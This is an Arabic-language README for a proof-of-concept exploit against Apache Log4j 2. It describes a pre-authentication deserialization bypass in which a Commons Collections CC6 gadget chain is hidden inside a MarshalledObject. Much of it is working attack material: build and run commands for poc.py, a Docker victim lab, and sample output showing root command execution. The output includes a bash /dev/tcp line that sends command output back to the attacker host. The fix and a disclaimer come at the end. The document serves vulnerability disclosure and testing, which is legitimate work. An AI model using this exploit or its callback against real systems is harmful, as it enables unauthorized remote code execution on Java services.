
ثغرة تنفيذ برمجيات عن بُعد (RCE) قبل المصادقة عبر تجاوز FilteredObjectInputStream MarshalledObject في Apache Log4j 2
تنفيذ أوامر عن بُعد بدون مصادقة (Pre-auth RCE) على أي خدمة Java تقوم بإلغاء تسلسل LogEvent عبر FilteredObjectInputStream الخاص بـ Log4j. لا حاجة لأي بيانات اعتماد.
تم الإبلاغ عنها كـ GitHub issue #4255 في 24 أغسطس 2026.
يوفّر Log4j FilteredObjectInputStream (FOIS) كغلاف آمن لإلغاء التسلسل. يقوم بتجاوز resolveClass() مع قائمة سماح بحيث يمكن فقط لـ org.apache.logging.log4j.* و java.lang.* و java.util.* وبعض الفئات الصريحة المرور.
إحدى تلك الفئات الصريحة هي java.rmi.MarshalledObject:
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // <-- المشكلة
...);
MarshalledObject.get() ينشئ ObjectInputStream جديدًا وعاديًا داخليًا. بدون أي فلتر. أي شيء مغلّف داخل MarshalledObject يتم إلغاء تسلسله بدون أي قيود، متجاوزًا قائمة السماح تمامًا.
يقوم Log4j نفسه بهذا التغليف. LogEventProxy (وكيل التسلسل لكل LogEvent) يخزّن رسالة الحدث في حقل MarshalledObject<Message>. عند إلغاء التسلسل، يستدعي marshalledMessage.get() لاستعادة الرسالة. هذا الاستدعاء ينشئ التدفق غير المفلتر. انتهت اللعبة.
يرى الفلتر فقط واصفات الفئات ذات المستوى الأعلى في التدفق:
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = SerializationUtil.stripArray(desc.getName());
if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
throw new InvalidObjectException(
"Class is not allowed for deserialization: " + name);
}
return super.resolveClass(desc);
}
يتحقق FOIS من LogEventProxy (حزمة log4j، مسموح)، و MarshalledObject (في قائمة السماح)، و byte[] (بدائي). كلها تمر. سلسلة أدوات CC6 مخفية داخل MarshalledObject.objBytes كبايتات خام. لا يراها FOIS أبدًا.
عندما يتم تشغيل LogEventProxy.readResolve():
// Log4jLogEvent.java:1265-1274
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get(); // ObjectInputStream غير مفلتر
} catch (final Exception ex) {
// تجاهلني
}
}
return new SimpleMessage(messageString);
}
marshalledMessage.get() ينشئ ObjectInputStream عاديًا، وتُفعَّل سلسلة CC6، ويتم تنفيذ الأمر. كتلة الالتقاط تبتلع ClassCastException عندما لا تكون نتيجة الأداة Message، لذا يستجيب الخادم بشكل طبيعي. لا خطأ، ولا إدخال سجل.
للمقارنة، يقوم ObjectMessage بذلك بشكل صحيح:
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
in.defaultReadObject();
obj = SerializationUtil.readWrappedObject(in); // ينشئ تدفقًا داخليًا مفلترًا
}
يجب أن يستخدم LogEventProxy نفس هذا النمط لكنه لا يفعل.
Attacker Target (FOIS-based receiver)
| |
| HTTP POST /log |
| Body: serialized LogEventProxy |
| ------------------------------------------> |
| |
| FilteredObjectInputStream.readObject()
| ├── resolveClass(LogEventProxy) ✓ log4j package
| ├── resolveClass(MarshalledObject) ✓ allowlist
| └── resolveClass(byte[]) ✓ primitive
| |
| LogEventProxy.readResolve()
| └── message()
| └── marshalledMessage.get()
| └── new ObjectInputStream(objBytes) NO FILTER
| └── HashSet.readObject() CC6
| └── TiedMapEntry.hashCode()
| └── LazyMap.get()
| └── ChainedTransformer
| └── Runtime.exec(cmd)
| |
| HTTP 200 OK: "log event" |
| <------------------------------------------ |
يستجيب الخادم بـ 200 ويعالج الحدث كما لو لم يحدث شيء.
الحيلة هي إدخال سلسلة CC6 داخل MarshalledObject.objBytes دون أن تُفعَّل مبكرًا.
GadgetMessage ينفّذ Message ويتجاوز writeReplace() لإرجاع أداة CC6:
Log4jLogEvent مع GadgetMessage كرسالته.LogEventProxy.writeObject() يستدعي marshall(message)، الذي يغذّي GadgetMessage إلى مُنشئ MarshalledObject.GadgetMessage. يتم تشغيل writeReplace() ويستبدل بـ HashSet الخاص بـ CC6.MarshalledObject.objBytes يحتوي على سلسلة CC6. GadgetMessage لا يظهر أبدًا على الشبكة.GadgetMessage هو من جانب المهاجم فقط. لا يحتاج إلى أن يكون في مسار الفئات (classpath) للهدف.
| المكوّن | قابل للاختراق |
|---|---|
log4j-api (FilteredObjectInputStream) | 2.11.0 إلى 2.24.3 |
log4j-core (حقل LogEventProxy MarshalledObject) | 2.8.0 إلى 2.24.3 |
يحتاج الهدف أيضًا إلى مكتبة أدوات (gadget) في مسار الفئات. يستخدم هذا الإثبات المفاهيمي (PoC) مكتبة Commons Collections 3.2.1 (سلسلة CC6).
المتطلبات: Java 11+، Maven، Python 3.10+، Docker (لمختبر الضحية فقط)
بناء وبدء الضحية:
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..
بناء الاستغلال (أو دع poc.py يقوم بذلك في أول تشغيل):
cd exploit && mvn package -q -DskipTests && cd ..
التشغيل:
# --lhost هو عنوان IP الخاص بك الذي يمكن الوصول إليه من الهدف
# لمختبر Docker على نفس المضيف، استخدم عنوان جسر docker0
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1
المخرجات:
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target: http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999
[*] generating payload ...
[gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
[gen] payload: 2619 bytes
[*] payload: 2619 bytes
[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event
[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)
منفذ استدعاء مخصص:
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444
mvn package في exploit/ لتجميع PayloadGenerator وسحب التبعيات. يتخطى ذلك في التشغيلات اللاحقة.java -cp exploit/target/... PayloadGenerator <cmd> على المضيف. يُخرج LogEvent مسلسلًا بترميز base64 مع CC6 داخل MarshalledObject.--lport (الافتراضي 9999) لاستقبال مخرجات الأمر./log على الهدف./dev/tcp.log4j2-rce/
├── README.md
├── poc.py # سكربت الاستغلال
├── exploit/ # المهاجم (يعمل على المضيف)
│ ├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
│ └── src/
│ ├── PayloadGenerator.java # CC6 + MarshalledObject + LogEvent
│ └── GadgetMessage.java # Message مع writeReplace()
└── lab/ # الضحية (Docker)
├── Dockerfile
├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
└── src/
└── HttpLogReceiver.java # نقطة نهاية HTTP تستخدم FOIS
lab/ هو الضحية. HttpLogReceiver هو مستقبل سجلات HTTP يستخدم FilteredObjectInputStream. إعداد افتراضي، بدون علامات تصحيح، بدون نقاط ضعف مصطنعة. مكتبة Commons Collections في مسار الفئات كاعتماد انتقالي واقعي.
exploit/ هو أدوات المهاجم. PayloadGenerator يبني الحمولة المسلسلة على المضيف. لا يلمس حاوية الضحية أبدًا.
java.rmi.MarshalledObject من REQUIRED_JAVA_CLASSES.MarshalledObject<Message> في LogEventProxy بحقل byte[] مسلسل عبر SerializationUtil.writeWrappedObject() / readWrappedObject(). هذا هو نفس النمط الذي يستخدمه ObjectMessage بشكل صحيح بالفعل.CC 3.2.1 والإصدارات الأقدم: InvokerTransformer يُسلسل بحرية. تعمل CC6 كما هي.
CC 3.2.2 (نوفمبر 2015): أضاف حارس تسلسل في InvokerTransformer يمنع السلسلة ما لم يكن org.apache.commons.collections.enableUnsafeSerialization مضبوطًا على true.
تجاوز الفلتر موجود بغض النظر عن إصدار CC. حارس CC هو دفاع متعمق في طبقة الأدوات، وليس إصلاحًا للفلتر المعطوب. أي مكتبة أدوات أخرى غير محمية (Groovy، BeanShell، Spring Beans، إلخ) تتيح نفس الهجوم.
docker rm -f fois-lab
docker rmi fois-bypass-lab
للاستخدام في الاختبارات المصرح بها فقط. احصل على إذن كتابي قبل تشغيل هذا ضد أي شيء لا تملكه.